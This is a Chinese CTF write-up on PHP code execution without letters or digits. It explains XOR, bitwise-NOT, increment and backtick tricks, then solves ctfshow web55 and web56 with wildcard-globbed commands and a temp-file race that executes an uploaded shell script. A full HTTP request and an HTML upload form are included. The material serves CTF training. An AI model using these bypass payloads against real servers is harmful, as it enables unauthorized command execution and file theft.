无数字字母rce

RCE

原理

Linux终端可以通过$'\xxx'的方式执行命令,xxx是字符ascii码的八进制形式,通过这一点,我们可以通过位运算符号和Linux终端的其他特性,在没有数字的情况下继续构造这样的形式以实现无字母数字仅用几个字符就实现任意命令执行。

无数字字母rce绕过,基本上是对这个的绕过

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

先了解一些基础知识

PHP中的异或

1
2
3
<?php
echo "5"^"Z";
?>

输出为o

先把5和Z的ASCLL转换成二进制然后异或

即00110101和01011010异或得到十进制的111,为o.

函数执行

1
2
3
4
5
6
7
8
<?php
function o(){
echo "Hello,C6";
}
$_++;
$__= "5" ^ "Z";
$__();
?>

结果能够输出”Hello,C6”,原理如下

$__= “5” ^ “Z”这步我们上面已经见过了,将会赋给__这个变量一个值”o”

由于PHP的动态语言特性,PHP允许我们将字符串当成函数来处理,因此在这里面的$__()就相当于调用了o()

PHP中的取反

取反(~) 属于按位逻辑运算符,属于一元运算符,其本质其实就是将数据每一位按位取反,即将0变成1,将1变成0; 1、

1
2
3
4
5
6
7
<?php
$a=urlencode(~'phpinfo');
echo $a;
echo '</br>';
$b=~urldecode($a);
echo $b;
//需要注意的是,可能Payload中会含有一些特殊字符,需要对Payload进行一次URL编码

输出

1
%8F%97%8F%96%91%99%90</br>phpinfo

payload:

1
(~%8F%97%8F%96%91%99%90)();

等价于

1
phpinfo();

对于一个汉字进行($x{0})或($x{1})或~($x{2})的操作,可以得到某个ASCII码的字符值

PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写(‘phpinfo’)();

PHP中的自增

在异或的例子里我们发现

我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字0

$_++对_变量进行了自增操作,由于我们没有定义_的值,PHP会给_赋一个默认值NULL==0

也就是说,如果我们能够得到”A”,那么我们就能通过自增自减,得到所有的字母。 那么问题就转化为怎么得到一个字符”A”。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为”Array”。

再取这个字符串的第一个字母,就可以获得”A”。

1
2
3
<?php
$a = ''.[];
var_dump($a);
1
2
3
4
5
6
7
8
<?php
$_=[].''; //得到"Array"
$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$___ .= $__; //$___="AS"
//类似这个过程

PHP中的短标签

PHP中有两种短标签

1
<??><?=?>

其中

1
<??>相当于对<?php>的替换

1
<?=?>则是相当于<? echo?>

例如:

1
2
3
4
<?= '111'?>
//等价
<? echo('111');?>

1
<??>

这种写法则需要short_open_tag开启才行。

1
2
3
4
5
所以就相当于一个新的PHP文件,这样的话就需要将最开始前面的<?php给闭合,不然不会执行。
闭合之后就相当于
<?php
?>
<?=`ls`;

PHP中的反引号

反引号可以起到命令执行的作用

1
2
3
<?php
$_=`whoami`;
echo $_;

可以执行whoami

与短标签相利用可以写成

1
<?= `whoami`?>

PHP中的临时文件

一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。

//具体看web56

利用

基本思路就是

用其他字符构造出相关字符如ls cat 进而执行函数

ctfshow-命令执行-55

1
2
3
4
5
6
7
8
9
 <?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

过滤

1
preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)
  • i表示不区分大小写
  • \;:匹配分号”;”。
  • [a-z]:匹配任意小写字母。
  • \`` :匹配反引号”`”。
  • \%:匹配百分号”%”。
  • \x09:匹配水平制表符。
  • \x26:匹配”&”符号。
  • \>:匹配大于号”>”。
  • \<:匹配小于号”<”。

法一,法二和56做法一样

/bin目录下存放了大部分可执行的命令

其中有一个命令为base64,

在linux里面就是将打印输出的字符转化为base64编码.

我们构造?c=/???/????64 ????.???

前三个问号是/bin,然后base64 最后是flag.php

会自己匹配

web-56

.没有被过滤

可以尝试 临时文件

我们可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过 . (点)去执行执行这个文件。(形成了条件竞争)。

一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
!:通过.去执行sh命令不需要有执行权限

bin/

.运行sh文件

1
2
3
4
5
6
7
8
9
10
 <?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

数字字母全无

https://blog.csdn.net/qq_46091464/article/details/108513145

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://bd10d287-7dfb-45c9-87d8-00d7146ce421.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

访问这个html然后 上传一个php文件

构造poc执行命令

?c=.+/???/????????[@-[]
注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。

为什么可以这样执行呢?

因为在linux里,如果一个文件里有命令,是可以通过这个文件名执行命令的,这里我们相当于使用临时文件执行了命令

然后把上传文件的内容改为

1
2
#!/bin/sh
ls
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /?c=.%20/???/????????[@-[] HTTP/1.1
Host: bd10d287-7dfb-45c9-87d8-00d7146ce421.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1702859319697226373409551389
Content-Length: 382
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------1702859319697226373409551389
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

#!/bin/sh

cat /var/www/html/flag.php
-----------------------------1702859319697226373409551389
Content-Disposition: form-data; name="submit"

鎻愪氦
-----------------------------1702859319697226373409551389--

多发几次包,有时可能匹配不到

参考1

参考2